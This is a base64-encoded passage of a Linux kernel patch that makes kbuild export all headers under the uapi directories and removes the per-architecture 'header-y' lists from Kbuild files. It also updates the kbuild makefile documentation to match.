IG5vdCBleHBvcnRlZCwgYXJlIG5vdwpleHBvcnRlZCAod2l0aCBtYWtlIGhlYWRlcnNfaW5zdGFs
bF9hbGwpOgphc20tdW5pY29yZTMyL3NobXBhcmFtLmgKYXNtLXVuaWNvcmUzMi91Y29udGV4dC5o
CmFzbS1oZXhhZ29uL3NobXBhcmFtLmgKYXNtLW1pcHMvdWNvbnRleHQuaAphc20tbWlwcy9od2Nh
cC5oCmFzbS1taXBzL3JlZy5oCmRybS92Z2VtX2RybS5oCmRybS9hcm1hZGFfZHJtLmgKZHJtL29t
YXBfZHJtLmgKZHJtL2V0bmF2aXZfZHJtLmgKYXNtLXRpbGUvc2htcGFyYW0uaAphc20tYmxhY2tm
aW4vc2htcGFyYW0uaAphc20tYmxhY2tmaW4vdWNvbnRleHQuaAphc20tcG93ZXJwYy9wZXJmX3Jl
Z3MuaApyZG1hL3FlZHItYWJpLmgKYXNtLXBhcmlzYy9rdm1fcGFyYS5oCmFzbS1vcGVucmlzYy9z
aG1wYXJhbS5oCmFzbS1uaW9zMi9rdm1fcGFyYS5oCmFzbS1uaW9zMi91Y29udGV4dC5oCmFzbS1z
aC9rdm1fcGFyYS5oCmFzbS1zaC91Y29udGV4dC5oCmFzbS14dGVuc2Eva3ZtX3BhcmEuaAphc20t
YXZyMzIva3ZtX3BhcmEuaAphc20tbTMyci9rdm1fcGFyYS5oCmFzbS1oODMwMC9zaG1wYXJhbS5o
CmFzbS1oODMwMC91Y29udGV4dC5oCmFzbS1tZXRhZy9rdm1fcGFyYS5oCmFzbS1tZXRhZy9zaG1w
YXJhbS5oCmFzbS1tZXRhZy91Y29udGV4dC5oCmFzbS1tNjhrL2t2bV9wYXJhLmgKYXNtLW02OGsv
c2htcGFyYW0uaApsaW51eC9iY2FjaGUuaApsaW51eC9rdm0uaApsaW51eC9rdm1fcGFyYS5oCmxp
bnV4L2tmZF9pb2N0bC5oCmxpbnV4L2NyeXB0b3VzZXIuaApsaW51eC9rY20uaApsaW51eC9rY292
LmgKbGludXgvc2VnNl9pcHR1bm5lbC5oCmxpbnV4L3N0bS5oCmxpbnV4L2dlbndxZQpsaW51eC9n
ZW53cWUvLmluc3RhbGwKbGludXgvZ2Vud3FlL2dlbndxZV9jYXJkLmgKbGludXgvZ2Vud3FlLy4u
aW5zdGFsbC5jbWQKbGludXgvc2VnNi5oCmxpbnV4L2NpZnMKbGludXgvY2lmcy8uaW5zdGFsbAps
aW51eC9jaWZzL2NpZnNfbW91bnQuaApsaW51eC9jaWZzLy4uaW5zdGFsbC5jbWQKbGludXgvYXV0
b19kZXYtaW9jdGwuaAoKVGhhbmtzIHRvIEp1bGllbiBGbG9yZXQgPGp1bGllbi5mbG9yZXRANndp
bmQuY29tPiBmb3IgdGhlIHRpcCB0byBnZXQgYWxsCnN1YmRpcnMgd2l0aCBhIHB1cmUgbWFrZWZp
bGUgY29tbWFuZC4KClNpZ25lZC1vZmYtYnk6IE5pY29sYXMgRGljaHRlbCA8bmljb2xhcy5kaWNo
dGVsQDZ3aW5kLmNvbT4KLS0tCiBEb2N1bWVudGF0aW9uL2tidWlsZC9tYWtlZmlsZXMudHh0ICAg
ICAgICAgIHwgIDQxICsrLQogYXJjaC9hbHBoYS9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZCAgICAg
ICAgICB8ICA0MSAtLS0KIGFyY2gvYXJjL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICAg
ICAgfCAgIDMgLQogYXJjaC9hcm0vaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgICAgICAgICAgICB8
ICAxNyAtCiBhcmNoL2FybTY0L2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICAgIHwgIDE4
IC0tCiBhcmNoL2F2cjMyL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICAgIHwgIDIwIC0t
CiBhcmNoL2JsYWNrZmluL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgIHwgIDE3IC0KIGFy
Y2gvYzZ4L2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICAgICAgfCAgIDggLQogYXJjaC9j
cmlzL2luY2x1ZGUvdWFwaS9hcmNoLXYxMC9hcmNoL0tidWlsZCB8ICAgNSAtCiBhcmNoL2NyaXMv
aW5jbHVkZS91YXBpL2FyY2gtdjMyL2FyY2gvS2J1aWxkIHwgICAzIC0KIGFyY2gvY3Jpcy9pbmNs
dWRlL3VhcGkvYXNtL0tidWlsZCAgICAgICAgICAgfCAgNDMgKy0tCiBhcmNoL2Zydi9pbmNsdWRl
L3VhcGkvYXNtL0tidWlsZCAgICAgICAgICAgIHwgIDMzIC0tCiBhcmNoL2g4MzAwL2luY2x1ZGUv
dWFwaS9hc20vS2J1aWxkICAgICAgICAgIHwgIDI4IC0tCiBhcmNoL2hleGFnb24vaW5jbHVkZS9h
c20vS2J1aWxkICAgICAgICAgICAgIHwgICAzIC0KIGFyY2gvaGV4YWdvbi9pbmNsdWRlL3VhcGkv
YXNtL0tidWlsZCAgICAgICAgfCAgMTMgLQogYXJjaC9pYTY0L2luY2x1ZGUvdWFwaS9hc20vS2J1
aWxkICAgICAgICAgICB8ICA0NSAtLS0KIGFyY2gvbTMyci9pbmNsdWRlL3VhcGkvYXNtL0tidWls
ZCAgICAgICAgICAgfCAgMzEgLS0KIGFyY2gvbTY4ay9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZCAg
ICAgICAgICAgfCAgMjQgLS0KIGFyY2gvbWV0YWcvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgICAg
ICAgICAgfCAgIDggLQogYXJjaC9taWNyb2JsYXplL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAg
ICB8ICAzMiAtLQogYXJjaC9taXBzL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICAgICB8
ICAzNyAtLS0KIGFyY2gvbW4xMDMwMC9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZCAgICAgICAgfCAg
MzIgLS0KIGFyY2gvbmlvczIvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgICAgICAgICAgfCAgIDQg
Ky0KIGFyY2gvb3BlbnJpc2MvaW5jbHVkZS9hc20vS2J1aWxkICAgICAgICAgICAgfCAgIDMgLQog
YXJjaC9vcGVucmlzYy9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZCAgICAgICB8ICAgOCAtCiBhcmNo
L3BhcmlzYy9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZCAgICAgICAgIHwgIDI4IC0tCiBhcmNoL3Bv
d2VycGMvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgICAgICAgIHwgIDQ1IC0tLQogYXJjaC9zMzkw
L2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICAgICB8ICA1MiAtLS0KIGFyY2gvc2NvcmUv
aW5jbHVkZS9hc20vS2J1aWxkICAgICAgICAgICAgICAgfCAgIDQgLQogYXJjaC9zY29yZS9pbmNs
dWRlL3VhcGkvYXNtL0tidWlsZCAgICAgICAgICB8ICAzMiAtLQogYXJjaC9zaC9pbmNsdWRlL3Vh
cGkvYXNtL0tidWlsZCAgICAgICAgICAgICB8ICAyMyAtLQogYXJjaC9zcGFyYy9pbmNsdWRlL3Vh
cGkvYXNtL0tidWlsZCAgICAgICAgICB8ICA0OCAtLS0KIGFyY2gvdGlsZS9pbmNsdWRlL2FzbS9L
YnVpbGQgICAgICAgICAgICAgICAgfCAgIDMgLQogYXJjaC90aWxlL2luY2x1ZGUvdWFwaS9hcmNo
L0tidWlsZCAgICAgICAgICB8ICAxNyAtCiBhcmNoL3RpbGUvaW5jbHVkZS91YXBpL2FzbS9LYnVp
bGQgICAgICAgICAgIHwgIDE5ICstCiBhcmNoL3VuaWNvcmUzMi9pbmNsdWRlL3VhcGkvYXNtL0ti
dWlsZCAgICAgIHwgICA2IC0KIGFyY2gveDg2L2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAg
ICAgICAgfCAgNTkgLS0tLQogYXJjaC94dGVuc2EvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgICAg
ICAgICB8ICAyMyAtLQogaW5jbHVkZS9LYnVpbGQgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICB8ICAgMiAtCiBpbmNsdWRlL2FzbS1nZW5lcmljL0tidWlsZC5hc20gICAgICAgICAgICAgIHwg
ICAxIC0KIGluY2x1ZGUvc2NzaS9mYy9LYnVpbGQgICAgICAgICAgICAgICAgICAgICAgfCAgIDAK
IGluY2x1ZGUvdWFwaS9LYnVpbGQgICAgICAgICAgICAgICAgICAgICAgICAgfCAgMTUgLQogaW5j
bHVkZS91YXBpL2FzbS1nZW5lcmljL0tidWlsZCAgICAgICAgICAgICB8ICAzNiAtLS0KIGluY2x1
ZGUvdWFwaS9hc20tZ2VuZXJpYy9LYnVpbGQuYXNtICAgICAgICAgfCAgNjIgKystLQogaW5jbHVk
ZS91YXBpL2RybS9LYnVpbGQgICAgICAgICAgICAgICAgICAgICB8ICAyMiAtLQogaW5jbHVkZS91
YXBpL2xpbnV4L0tidWlsZCAgICAgICAgICAgICAgICAgICB8IDQ4MiAtLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tCiBpbmNsdWRlL3VhcGkvbGludXgvYW5kcm9pZC9LYnVpbGQgICAgICAgICAg
IHwgICAyIC0KIGluY2x1ZGUvdWFwaS9saW51eC9ieXRlb3JkZXIvS2J1aWxkICAgICAgICAgfCAg
IDMgLQogaW5jbHVkZS91YXBpL2xpbnV4L2NhaWYvS2J1aWxkICAgICAgICAgICAgICB8ICAgMyAt
CiBpbmNsdWRlL3VhcGkvbGludXgvY2FuL0tidWlsZCAgICAgICAgICAgICAgIHwgICA2IC0KIGlu
Y2x1ZGUvdWFwaS9saW51eC9kdmIvS2J1aWxkICAgICAgICAgICAgICAgfCAgIDkgLQogaW5jbHVk
ZS91YXBpL2xpbnV4L2hkbGMvS2J1aWxkICAgICAgICAgICAgICB8ICAgMiAtCiBpbmNsdWRlL3Vh
cGkvbGludXgvaHNpL0tidWlsZCAgICAgICAgICAgICAgIHwgICAyIC0KIGluY2x1ZGUvdWFwaS9s
aW51eC9paW8vS2J1aWxkICAgICAgICAgICAgICAgfCAgIDMgLQogaW5jbHVkZS91YXBpL2xpbnV4
L2lzZG4vS2J1aWxkICAgICAgICAgICAgICB8ICAgMiAtCiBpbmNsdWRlL3VhcGkvbGludXgvbW1j
L0tidWlsZCAgICAgICAgICAgICAgIHwgICAyIC0KIGluY2x1ZGUvdWFwaS9saW51eC9uZXRmaWx0
ZXIvS2J1aWxkICAgICAgICAgfCAgODkgLS0tLS0KIGluY2x1ZGUvdWFwaS9saW51eC9uZXRmaWx0
ZXIvaXBzZXQvS2J1aWxkICAgfCAgIDUgLQogaW5jbHVkZS91YXBpL2xpbnV4L25ldGZpbHRlcl9h
cnAvS2J1aWxkICAgICB8ICAgMyAtCiBpbmNsdWRlL3VhcGkvbGludXgvbmV0ZmlsdGVyX2JyaWRn
ZS9LYnVpbGQgIHwgIDE4IC0tCiBpbmNsdWRlL3VhcGkvbGludXgvbmV0ZmlsdGVyX2lwdjQvS2J1
aWxkICAgIHwgIDEwIC0KIGluY2x1ZGUvdWFwaS9saW51eC9uZXRmaWx0ZXJfaXB2Ni9LYnVpbGQg
ICAgfCAgMTMgLQogaW5jbHVkZS91YXBpL2xpbnV4L25mc2QvS2J1aWxkICAgICAgICAgICAgICB8
ICAgNiAtCiBpbmNsdWRlL3VhcGkvbGludXgvcmFpZC9LYnVpbGQgICAgICAgICAgICAgIHwgICAz
IC0KIGluY2x1ZGUvdWFwaS9saW51eC9zcGkvS2J1aWxkICAgICAgICAgICAgICAgfCAgIDIgLQog
aW5jbHVkZS91YXBpL2xpbnV4L3N1bnJwYy9LYnVpbGQgICAgICAgICAgICB8ICAgMiAtCiBpbmNs
dWRlL3VhcGkvbGludXgvdGNfYWN0L0tidWlsZCAgICAgICAgICAgIHwgIDE1IC0KIGluY2x1ZGUv
dWFwaS9saW51eC90Y19lbWF0Y2gvS2J1aWxkICAgICAgICAgfCAgIDUgLQogaW5jbHVkZS91YXBp
L2xpbnV4L3VzYi9LYnVpbGQgICAgICAgICAgICAgICB8ICAxMiAtCiBpbmNsdWRlL3VhcGkvbGlu
dXgvd2ltYXgvS2J1aWxkICAgICAgICAgICAgIHwgICAyIC0KIGluY2x1ZGUvdWFwaS9taXNjL0ti
dWlsZCAgICAgICAgICAgICAgICAgICAgfCAgIDIgLQogaW5jbHVkZS91YXBpL210ZC9LYnVpbGQg
ICAgICAgICAgICAgICAgICAgICB8ICAgNiAtCiBpbmNsdWRlL3VhcGkvcmRtYS9LYnVpbGQgICAg
ICAgICAgICAgICAgICAgIHwgIDE4IC0tCiBpbmNsdWRlL3VhcGkvcmRtYS9oZmkvS2J1aWxkICAg
ICAgICAgICAgICAgIHwgICAyIC0KIGluY2x1ZGUvdWFwaS9zY3NpL0tidWlsZCAgICAgICAgICAg
ICAgICAgICAgfCAgIDYgLQogaW5jbHVkZS91YXBpL3Njc2kvZmMvS2J1aWxkICAgICAgICAgICAg
ICAgICB8ICAgNSAtCiBpbmNsdWRlL3VhcGkvc291bmQvS2J1aWxkICAgICAgICAgICAgICAgICAg
IHwgIDE2IC0KIGluY2x1ZGUvdWFwaS92aWRlby9LYnVpbGQgICAgICAgICAgICAgICAgICAgfCAg
IDQgLQogaW5jbHVkZS91YXBpL3hlbi9LYnVpbGQgICAgICAgICAgICAgICAgICAgICB8ICAgNSAt
CiBpbmNsdWRlL3ZpZGVvL0tidWlsZCAgICAgICAgICAgICAgICAgICAgICAgIHwgICAwCiBzY3Jp
cHRzL01ha2VmaWxlLmhlYWRlcnNpbnN0ICAgICAgICAgICAgICAgIHwgIDM5ICstLQogODEgZmls
ZXMgY2hhbmdlZCwgNzMgaW5zZXJ0aW9ucygrKSwgMTc0NSBkZWxldGlvbnMoLSkKIGRlbGV0ZSBt
b2RlIDEwMDY0NCBhcmNoL2NyaXMvaW5jbHVkZS91YXBpL2FyY2gtdjEwL2FyY2gvS2J1aWxkCiBk
ZWxldGUgbW9kZSAxMDA2NDQgYXJjaC9jcmlzL2luY2x1ZGUvdWFwaS9hcmNoLXYzMi9hcmNoL0ti
dWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0IGFyY2gvdGlsZS9pbmNsdWRlL3VhcGkvYXJjaC9LYnVp
bGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRlL0tidWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0
IGluY2x1ZGUvYXNtLWdlbmVyaWMvS2J1aWxkLmFzbQogZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1
ZGUvc2NzaS9mYy9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRlL3VhcGkvS2J1aWxk
CiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL2FzbS1nZW5lcmljL0tidWlsZAogZGVs
ZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS9kcm0vS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2
NDQgaW5jbHVkZS91YXBpL2xpbnV4L0tidWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUv
dWFwaS9saW51eC9hbmRyb2lkL0tidWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFw
aS9saW51eC9ieXRlb3JkZXIvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBp
L2xpbnV4L2NhaWYvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL2xpbnV4
L2Nhbi9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRlL3VhcGkvbGludXgvZHZiL0ti
dWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS9saW51eC9oZGxjL0tidWlsZAog
ZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS9saW51eC9oc2kvS2J1aWxkCiBkZWxldGUg
bW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL2xpbnV4L2lpby9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEw
MDY0NCBpbmNsdWRlL3VhcGkvbGludXgvaXNkbi9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBp
bmNsdWRlL3VhcGkvbGludXgvbW1jL0tidWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUv
dWFwaS9saW51eC9uZXRmaWx0ZXIvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91
YXBpL2xpbnV4L25ldGZpbHRlci9pcHNldC9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNs
dWRlL3VhcGkvbGludXgvbmV0ZmlsdGVyX2FycC9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBp
bmNsdWRlL3VhcGkvbGludXgvbmV0ZmlsdGVyX2JyaWRnZS9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEw
MDY0NCBpbmNsdWRlL3VhcGkvbGludXgvbmV0ZmlsdGVyX2lwdjQvS2J1aWxkCiBkZWxldGUgbW9k
ZSAxMDA2NDQgaW5jbHVkZS91YXBpL2xpbnV4L25ldGZpbHRlcl9pcHY2L0tidWlsZAogZGVsZXRl
IG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS9saW51eC9uZnNkL0tidWlsZAogZGVsZXRlIG1vZGUg
MTAwNjQ0IGluY2x1ZGUvdWFwaS9saW51eC9yYWlkL0tidWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0
IGluY2x1ZGUvdWFwaS9saW51eC9zcGkvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVk
ZS91YXBpL2xpbnV4L3N1bnJwYy9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRlL3Vh
cGkvbGludXgvdGNfYWN0L0tidWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS9s
aW51eC90Y19lbWF0Y2gvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL2xp
bnV4L3VzYi9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRlL3VhcGkvbGludXgvd2lt
YXgvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL21pc2MvS2J1aWxkCiBk
ZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL210ZC9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEw
MDY0NCBpbmNsdWRlL3VhcGkvcmRtYS9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRl
L3VhcGkvcmRtYS9oZmkvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL3Nj
c2kvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL3Njc2kvZmMvS2J1aWxk
CiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL3NvdW5kL0tidWlsZAogZGVsZXRlIG1v
ZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS92aWRlby9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBp
bmNsdWRlL3VhcGkveGVuL0tidWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvdmlkZW8v
S2J1aWxkCgpkaWZmIC0tZ2l0IGEvRG9jdW1lbnRhdGlvbi9rYnVpbGQvbWFrZWZpbGVzLnR4dCBi
L0RvY3VtZW50YXRpb24va2J1aWxkL21ha2VmaWxlcy50eHQKaW5kZXggMzdiNTI1ZDMyOWFlLi41
M2UzMTA2MWZmMTggMTAwNjQ0Ci0tLSBhL0RvY3VtZW50YXRpb24va2J1aWxkL21ha2VmaWxlcy50
eHQKKysrIGIvRG9jdW1lbnRhdGlvbi9rYnVpbGQvbWFrZWZpbGVzLnR4dApAQCAtNDQsNyArNDQs
NyBAQCBUaGlzIGRvY3VtZW50IGRlc2NyaWJlcyB0aGUgTGludXgga2VybmVsIE1ha2VmaWxlcy4K
IAkgICAtLS0gNi4xMSBQb3N0LWxpbmsgcGFzcwogCiAJPT09IDcgS2J1aWxkIHN5bnRheCBmb3Ig
ZXhwb3J0ZWQgaGVhZGVycwotCQktLS0gNy4xIGhlYWRlci15CisJCS0tLSA3LjEgc3ViZGlyLXkK
IAkJLS0tIDcuMiBnZW5oZHIteQogCQktLS0gNy4zIGdlbmVyaWMteQogCQktLS0gNy40IGdlbmVy
YXRlZC15CkBAIC0xMjM1LDcgKzEyMzUsNyBAQCBXaGVuIGtidWlsZCBleGVjdXRlcywgdGhlIGZv
bGxvd2luZyBzdGVwcyBhcmUgZm9sbG93ZWQgKHJvdWdobHkpOgogCXRoYXQgbWF5IGJlIHNoYXJl
ZCBiZXR3ZWVuIGluZGl2aWR1YWwgYXJjaGl0ZWN0dXJlcy4KIAlUaGUgcmVjb21tZW5kZWQgYXBw
cm9hY2ggaG93IHRvIHVzZSBhIGdlbmVyaWMgaGVhZGVyIGZpbGUgaXMKIAl0byBsaXN0IHRoZSBm
aWxlIGluIHRoZSBLYnVpbGQgZmlsZS4KLQlTZWUgIjcuNCBnZW5lcmljLXkiIGZvciBmdXJ0aGVy
IGluZm8gb24gc3ludGF4IGV0Yy4KKwlTZWUgIjcuMyBnZW5lcmljLXkiIGZvciBmdXJ0aGVyIGlu
Zm8gb24gc3ludGF4IGV0Yy4KIAogLS0tIDYuMTEgUG9zdC1saW5rIHBhc3MKIApAQCAtMTI2Miwz
NyArMTI2MiwzNiBAQCBUaGUgcHJlLXByb2Nlc3NpbmcgZG9lczoKIC0gZHJvcCBpbmNsdWRlIG9m
IGNvbXBpbGVyLmgKIC0gZHJvcCBhbGwgc2VjdGlvbnMgdGhhdCBhcmUga2VybmVsIGludGVybmFs
IChndWFyZGVkIGJ5IGlmZGVmIF9fS0VSTkVMX18pCiAKLUVhY2ggcmVsZXZhbnQgZGlyZWN0b3J5
IGNvbnRhaW5zIGEgZmlsZSBuYW1lICJLYnVpbGQiIHdoaWNoIHNwZWNpZmllcyB0aGUKLWhlYWRl
cnMgdG8gYmUgZXhwb3J0ZWQuCitBbGwgaGVhZGVycyB1bmRlciBpbmNsdWRlL3VhcGkvLCBpbmNs
dWRlL2dlbmVyYXRlZC91YXBpLywKK2FyY2gvPGFyY2g+L2luY2x1ZGUvdWFwaS9hc20vIGFuZCBh
cmNoLzxhcmNoPi9pbmNsdWRlL2dlbmVyYXRlZC91YXBpL2FzbS8KK2FyZSBleHBvcnRlZC4KKwor
QSBLYnVpbGQgZmlsZSBtYXkgYmUgZGVmaW5lZCB1bmRlciBhcmNoLzxhcmNoPi9pbmNsdWRlL3Vh
cGkvYXNtLyBhbmQKK2FyY2gvPGFyY2g+L2luY2x1ZGUvYXNtLyB0byBsaXN0IGFzbSBmaWxlcyBj
b21pbmcgZnJvbSBhc20tZ2VuZXJpYy4KIFNlZSBzdWJzZXF1ZW50IGNoYXB0ZXIgZm9yIHRoZSBz
eW50YXggb2YgdGhlIEtidWlsZCBmaWxlLgogCi0JLS0tIDcuMSBoZWFkZXIteQorCS0tLSA3LjEg
c3ViZGlyLXkKIAotCWhlYWRlci15IHNwZWNpZmllcyBoZWFkZXIgZmlsZXMgdG8gYmUgZXhwb3J0
ZWQuCisJc3ViZGlyLXkgbWF5IGJlIHVzZWQgdG8gc3BlY2lmeSBhIHN1YmRpcmVjdG9yeSB0byBi
ZSBleHBvcnRlZC4KIAogCQlFeGFtcGxlOgotCQkJI2luY2x1ZGUvbGludXgvS2J1aWxkCi0JCQlo
ZWFkZXIteSArPSB1c2IvCi0JCQloZWFkZXIteSArPSBhaW9fYWJpLmgKKwkJCSNhcmNoL2NyaXMv
aW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKKwkJCXN1YmRpci15ICs9IC4uL2FyY2gtdjEwL2FyY2gv
CisJCQlzdWJkaXIteSArPSAuLi9hcmNoLXYzMi9hcmNoLwogCi0JVGhlIGNvbnZlbnRpb24gaXMg
dG8gbGlzdCBvbmUgZmlsZSBwZXIgbGluZSBhbmQKKwlUaGUgY29udmVudGlvbiBpcyB0byBsaXN0
IG9uZSBzdWJkaXIgcGVyIGxpbmUgYW5kCiAJcHJlZmVyYWJseSBpbiBhbHBoYWJldGljIG9yZGVy
LgogCi0JaGVhZGVyLXkgYWxzbyBzcGVjaWZpZXMgd2hpY2ggc3ViZGlyZWN0b3JpZXMgdG8gdmlz
aXQuCi0JQSBzdWJkaXJlY3RvcnkgaXMgaWRlbnRpZmllZCBieSBhIHRyYWlsaW5nICcvJyB3aGlj
aAotCWNhbiBiZSBzZWVuIGluIHRoZSBleGFtcGxlIGFib3ZlIGZvciB0aGUgdXNiIHN1YmRpcmVj
dG9yeS4KLQotCVN1YmRpcmVjdG9yaWVzIGFyZSB2aXNpdGVkIGJlZm9yZSB0aGVpciBwYXJlbnQg
ZGlyZWN0b3JpZXMuCi0KIAktLS0gNy4yIGdlbmhkci15CiAKLQlnZW5oZHIteSBzcGVjaWZpZXMg
Z2VuZXJhdGVkIGZpbGVzIHRvIGJlIGV4cG9ydGVkLgotCUdlbmVyYXRlZCBmaWxlcyBhcmUgc3Bl
Y2lhbCBhcyB0aGV5IG5lZWQgdG8gYmUgbG9va2VkCi0JdXAgaW4gYW5vdGhlciBkaXJlY3Rvcnkg
d2hlbiBkb2luZyAnbWFrZSBPPS4uLicgYnVpbGRzLgorCWdlbmhkci15IHNwZWNpZmllcyBhc20g
ZmlsZXMgdG8gYmUgZ2VuZXJhdGVkLgogCiAJCUV4YW1wbGU6Ci0JCQkjaW5jbHVkZS9saW51eC9L
YnVpbGQKLQkJCWdlbmhkci15ICs9IHZlcnNpb24uaAorCQkJI2FyY2gveDg2L2luY2x1ZGUvdWFw
aS9hc20vS2J1aWxkCisJCQlnZW5oZHIteSArPSB1bmlzdGRfMzIuaAorCQkJZ2VuaGRyLXkgKz0g
dW5pc3RkXzY0LmgKKwkJCWdlbmhkci15ICs9IHVuaXN0ZF94MzIuaAorCiAKIAktLS0gNy4zIGdl
bmVyaWMteQogCmRpZmYgLS1naXQgYS9hcmNoL2FscGhhL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxk
IGIvYXJjaC9hbHBoYS9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZAppbmRleCBkOTZmMmVmNWI2Mzku
LmIxNWJmNmJjMGU5NCAxMDA2NDQKLS0tIGEvYXJjaC9hbHBoYS9pbmNsdWRlL3VhcGkvYXNtL0ti
dWlsZAorKysgYi9hcmNoL2FscGhhL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCkBAIC0xLDQzICsx
LDIgQEAKICMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKIGluY2x1ZGUgaW5jbHVkZS91YXBpL2Fz
bS1nZW5lcmljL0tidWlsZC5hc20KLQotaGVhZGVyLXkgKz0gYS5vdXQuaAotaGVhZGVyLXkgKz0g
YXV4dmVjLmgKLWhlYWRlci15ICs9IGJpdHNwZXJsb25nLmgKLWhlYWRlci15ICs9IGJ5dGVvcmRl
ci5oCi1oZWFkZXIteSArPSBjb21waWxlci5oCi1oZWFkZXIteSArPSBjb25zb2xlLmgKLWhlYWRl
ci15ICs9IGVycm5vLmgKLWhlYWRlci15ICs9IGZjbnRsLmgKLWhlYWRlci15ICs9IGZwdS5oCi1o
ZWFkZXIteSArPSBnZW50cmFwLmgKLWhlYWRlci15ICs9IGlvY3RsLmgKLWhlYWRlci15ICs9IGlv
Y3Rscy5oCi1oZWFkZXIteSArPSBpcGNidWYuaAotaGVhZGVyLXkgKz0ga3ZtX3BhcmEuaAotaGVh
ZGVyLXkgKz0gbW1hbi5oCi1oZWFkZXIteSArPSBtc2didWYuaAotaGVhZGVyLXkgKz0gcGFsLmgK
LWhlYWRlci15ICs9IHBhcmFtLmgKLWhlYWRlci15ICs9IHBvbGwuaAotaGVhZGVyLXkgKz0gcG9z
aXhfdHlwZXMuaAotaGVhZGVyLXkgKz0gcHRyYWNlLmgKLWhlYWRlci15ICs9IHJlZy5oCi1oZWFk
ZXIteSArPSByZWdkZWYuaAotaGVhZGVyLXkgKz0gcmVzb3VyY2UuaAotaGVhZGVyLXkgKz0gc2Vt
YnVmLmgKLWhlYWRlci15ICs9IHNldHVwLmgKLWhlYWRlci15ICs9IHNobWJ1Zi5oCi1oZWFkZXIt
eSArPSBzaWdjb250ZXh0LmgKLWhlYWRlci15ICs9IHNpZ2luZm8uaAotaGVhZGVyLXkgKz0gc2ln
bmFsLmgKLWhlYWRlci15ICs9IHNvY2tldC5oCi1oZWFkZXIteSArPSBzb2NraW9zLmgKLWhlYWRl
ci15ICs9IHN0YXQuaAotaGVhZGVyLXkgKz0gc3RhdGZzLmgKLWhlYWRlci15ICs9IHN3YWIuaAot
aGVhZGVyLXkgKz0gc3lzaW5mby5oCi1oZWFkZXIteSArPSB0ZXJtYml0cy5oCi1oZWFkZXIteSAr
PSB0ZXJtaW9zLmgKLWhlYWRlci15ICs9IHR5cGVzLmgKLWhlYWRlci15ICs9IHVuaXN0ZC5oCmRp
